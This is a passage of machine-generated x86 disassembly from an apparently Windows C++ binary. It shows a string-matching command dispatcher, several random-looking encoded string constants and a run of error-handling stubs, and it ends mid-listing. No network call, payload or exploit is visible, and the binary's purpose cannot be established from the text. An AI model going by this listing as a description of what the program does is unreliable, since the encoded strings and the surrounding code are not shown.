mov ecx, esp
push eax
call fcn.0042c620
lea ecx, [ebp - 0x50]
call fcn.00443520
mov esi, eax
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x7c
mov ecx, esp
push eax
call fcn.0042c620
lea ecx, [ebp - 0x2c]
call fcn.00443520
add esp, 4
mov byte [ebp - 4], 0x7d
mov edx, esi
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x38]
push ecx
mov ecx, eax
call fcn.00454430
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042c150
lea ecx, [ebp - 0x50]
call fcn.0042c150
lea ecx, [ebp - 0x24]
call fcn.0042c150
lea ecx, [ebp - 0x48]
call fcn.0042c150
lea ecx, [ebp - 0x38]
call fcn.0042c150
lea ecx, [ebp - 0x1c]
call fcn.0042c150
lea ecx, [ebp - 0x3c]
call fcn.0042c150
lea ecx, [ebp - 0x44]
call fcn.0042c150
lea ecx, [ebp - 0x34]
call fcn.0042c150
lea ecx, [ebp - 0xcc]
call fcn.0042b580
jmp 0x524601
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5bd928
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044e310
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042b580
test esi, esi
je 0x523f1a
lea ecx, [ebp - 0x68]
call fcn.0042b250
mov ecx, edi
mov dword [ebp - 4], 0x7e
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523ed4
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.00524af0
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.00524b60
add esp, 4
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.00406b50
lea ecx, [ebp - 0x68]
call fcn.0042b580
jmp 0x524601
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5bd958
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044e310
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042b580
test esi, esi
je 0x523fc3
lea ecx, [ebp - 0x68]
call fcn.0042b250
mov ecx, edi
mov dword [ebp - 4], 0x7f
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523f66
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.00524af0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 0xffffffff
push eax
lea edx, [ebp - 0x48]
mov dword [ebp - 0x24], 0xffffffff
lea ecx, [ebp - 0x68]
call fcn.0044a230
mov eax, dword [ebp - 0x34]
add esp, 0xc
push dword [ebp - 0x24]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x48]
call fcn.00407160
lea ecx, [ebp - 0x68]
call fcn.0042b580
jmp 0x524601
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5bd940
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044e310
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042b580
test esi, esi
je 0x524005
call fcn.0044e2a0
jmp 0x524601
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5bd9a0
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044e310
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042b580
test esi, esi
je 0x524335
lea ecx, [ebp - 0x68]
call fcn.0042b250
mov ecx, edi
mov dword [ebp - 4], 0x80
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524055
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00524af0
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.0041dfd0
lea ecx, [ebp - 0x44]
call fcn.0041dfd0
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x82
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x68]
call fcn.0044a440
add esp, 4
lea ecx, [ebp - 0x44]
call fcn.0044e2c0
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x5241a8
push str.bnBxLVR4CnHjEbiEwU
lea ecx, [ebp - 0x20]
call fcn.0042d260
push str.TlhvtZCsqwHQs8
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x83
call fcn.0042d260
push str.d0t54QRI52CwwEYLEQIqGT0YjLR4vmJgce9JxweTJyoNhKQ
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x84
call fcn.0042d260
push 0x58e88c
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x85
call fcn.0042d260
push 0x58e88c
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x86
call fcn.0042d260
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x87
mov ecx, esp
push eax
call fcn.0042c620
lea ecx, [ebp - 0x6c]
call fcn.00443520
mov edi, eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x88
mov ecx, esp
push eax
call fcn.0042c620
lea ecx, [ebp - 0x40]
call fcn.00443520
mov esi, eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x89
mov ecx, esp
push eax
call fcn.0042c620
lea ecx, [ebp - 0x2c]
call fcn.00443520
add esp, 4
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x8a
push ecx
lea ecx, [ebp - 0x24]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.00454430
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042c150
lea ecx, [ebp - 0x40]
call fcn.0042c150
lea ecx, [ebp - 0x6c]
call fcn.0042c150
lea ecx, [ebp - 0x24]
call fcn.0042c150
lea ecx, [ebp - 0x48]
call fcn.0042c150
lea ecx, [ebp - 0x38]
call fcn.0042c150
lea ecx, [ebp - 0x3c]
call fcn.0042c150
lea ecx, [ebp - 0x20]
call fcn.0042c150
lea ecx, [ebp - 0x38]
call fcn.0041dfd0
push str.MllQJbkl7tMR5CYe2oVAEHwn0HRBj7K0xTzKSAx4QS0x7GkcqCclRJ9ez4PuXzxycVBB8LJx0QYdXIdVRjgkfG0F7dakwXdLiNMuTyQtNEw
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x8b
call fcn.0042c980
push str.NFdkMT1o4rCio
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x8c
call fcn.0042c980
push str.VGdM1OT0JQP001ACyBcoMA
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x8d
call fcn.0042c980
sub esp, 0x18
mov byte [ebp - 4], 0x8e
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x52421d
lea eax, [ebp - 0x100]
push eax
call fcn.0042c650
lea ecx, [ebp - 0x6c]
call fcn.004430f0
add esp, 0x18
mov byte [ebp - 4], 0x8f
mov ecx, 1
jmp 0x524240
lea eax, [ebp - 0xe4]
push eax
call fcn.0042c650
lea ecx, [ebp - 0x28]
call fcn.004430f0
add esp, 0x18
mov dword [ebp - 4], 0x90
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x130]
call fcn.0042c980
mov dword [ebp - 4], 0x91
mov eax, dword [ebp - 0x3c]
test al, 2
je 0x524272
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x3c], eax
call fcn.0042c150
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x93
test al, 1
je 0x524282
lea ecx, [ebp - 0x6c]
call fcn.0042c150
lea ecx, [ebp - 0x130]
call fcn.0042c550
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042c650
lea ecx, [ebp - 0x40]
call fcn.004430f0
push esi
mov byte [ebp - 4], 0x94
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f790
add esp, 0x2c
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x40]
call fcn.0042c150
push ecx
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.0042c620
mov ecx, dword [ebp - 0x34]
call fcn.0051fe90
lea ecx, [ebp - 0x130]
call fcn.0042c730
lea ecx, [ebp - 0x100]
call fcn.0042c730
lea ecx, [ebp - 0xe4]
call fcn.0042c730
lea ecx, [ebp - 0x9c]
call fcn.0042c730
lea ecx, [ebp - 0x38]
call fcn.0042c150
lea ecx, [ebp - 0x44]
call fcn.0042c150
lea ecx, [ebp - 0x1c]
call fcn.0042c150
lea ecx, [ebp - 0x68]
call fcn.0042b580
jmp 0x524601
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5bda78
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044e310
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042b580
test esi, esi
je 0x5243fe
lea ecx, [ebp - 0x68]
call fcn.0042b250
mov ecx, edi
mov dword [ebp - 4], 0x95
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524385
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.00524af0
add esp, 8
lea ecx, [ebp - 0x68]
push 0x58e88c
call fcn.00429ea0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x20], 1
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x50], 2
push eax
lea eax, [ebp - 0x70]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x68]
call fcn.0044a850
mov eax, dword [ebp - 0x50]
add esp, 0xc
or eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.004136d0
lea ecx, [ebp - 0x68]
call fcn.0042b580
jmp 0x524601
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5bd9b8
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044e310
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042b580
test esi, esi
je 0x5244bd
lea ecx, [ebp - 0x68]
call fcn.0042b250
mov ecx, edi
mov dword [ebp - 4], 0x96
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524450
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00524af0
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.00524b60
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x34]
setne byte [ebp - 0x2d]
push dword [eax]
call fcn.0042c980
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x97
call fcn.005301d0
lea ecx, [ebp - 0x130]
call fcn.0042c730
lea ecx, [ebp - 0x68]
call fcn.0042b580
jmp 0x524601
push edi
lea ecx, [ebp - 0x44]
call fcn.0042c070
push str.c3d1xYgYZqHgwczABs9yBh4qtDxYERBgMUDEg
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0x98
call fcn.0042d260
push str.MGRGmcl0XmIU8VLEzU
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x99
call fcn.0042d260
lea ecx, [ebp - 0x1c]
call fcn.0041dfd0
sub esp, 0x18
mov byte [ebp - 4], 0x9b
mov ecx, esp
push dword [ebp - 0x44]
call fcn.0042c980
lea ecx, [ebp - 0x6c]
call fcn.0042e0c0
add esp, 0x14
mov byte [ebp - 4], 0x9c
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x48]
push eax
call fcn.0042c620
lea ecx, [ebp - 0x28]
call fcn.00443520
add esp, 4
push esi
mov byte [ebp - 4], 0x9d
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041f790
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.0042c150
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x9b
call fcn.0042c150
push 0x58e88c
lea ecx, [ebp - 0x24]
call fcn.0042d260
push 0x58e88c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x9e
call fcn.0042d260
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x9f
mov ecx, esp
push eax
call fcn.0042c620
lea ecx, [ebp - 0x6c]
call fcn.00443520
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xa0
mov ecx, esp
push 0x5c2094
call fcn.0042c650
lea ecx, [ebp - 0x28]
call fcn.004430f0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xa1
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.00454430
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.0042c150
lea ecx, [ebp - 0x6c]
call fcn.0042c150
lea ecx, [ebp - 0x20]
call fcn.0042c150
lea ecx, [ebp - 0x24]
call fcn.0042c150
lea ecx, [ebp - 0x1c]
call fcn.0042c150
lea ecx, [ebp - 0x48]
call fcn.0042c150
lea ecx, [ebp - 0x38]
call fcn.0042c150
lea ecx, [ebp - 0x44]
call fcn.0042c150
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
push str.invalid_stoi_argument
call fcn.00530bd9
push str.stoi_argument_out_of_range
call fcn.00530c19
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
call fcn.0054cd4f
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
call fcn.0054cd4f
call fcn.0054cd4f
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push str.invalid_map_K__T__key
call fcn.00530c19
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
nop
invalid